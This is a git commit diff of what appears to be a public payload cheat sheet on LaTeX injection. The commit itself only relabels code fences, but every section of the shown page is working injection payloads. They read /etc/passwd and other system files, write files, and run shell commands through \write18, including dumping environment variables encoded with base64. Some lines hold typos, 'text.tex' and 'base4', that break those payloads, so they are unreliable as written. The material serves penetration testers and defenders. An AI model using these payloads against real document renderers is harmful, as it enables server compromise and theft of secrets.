LaTex injection - typo language markdown

This commit is contained in:
Swissky
2018-07-22 22:39:37 +02:00
parent 15891b3ab4
commit 6524c8e544

View File

@@ -1,13 +1,13 @@
# LaTex Injection # LaTex Injection
## Read file ## Read file
```python ```bash
\input{/etc/passwd} \input{/etc/passwd}
\include{password} # load .tex file \include{password} # load .tex file
``` ```
Read single lined file Read single lined file
```python ```bash
\newread\file \newread\file
\openin\file=/etc/issue \openin\file=/etc/issue
\read\file to\line \read\file to\line
@@ -16,7 +16,7 @@ Read single lined file
``` ```
Read multiple lined file Read multiple lined file
```python ```bash
\newread\file \newread\file
\openin\file=/etc/passwd \openin\file=/etc/passwd
\loop\unless\ifeof\file \loop\unless\ifeof\file
@@ -27,7 +27,7 @@ Read multiple lined file
``` ```
## Write file ## Write file
```python ```bash
\newwrite\outfile \newwrite\outfile
\openout\outfile=cmd.tex \openout\outfile=cmd.tex
\write\outfile{Hello-world} \write\outfile{Hello-world}
@@ -36,17 +36,17 @@ Read multiple lined file
## Command execution ## Command execution
The input of the command will be redirected to stdin, use a temp file to get it. The input of the command will be redirected to stdin, use a temp file to get it.
```python ```bash
\immediate\write18{env > output} \immediate\write18{env > output}
\input{output} \input{output}
``` ```
If you get any LaTex error, consider using base64 to get the result without bad characters If you get any LaTex error, consider using base64 to get the result without bad characters
```python ```bash
\immediate\write18{env | base64 > test.tex} \immediate\write18{env | base64 > test.tex}
\input{text.tex} \input{text.tex}
``` ```
```python ```bash
\input|ls|base4 \input|ls|base4
``` ```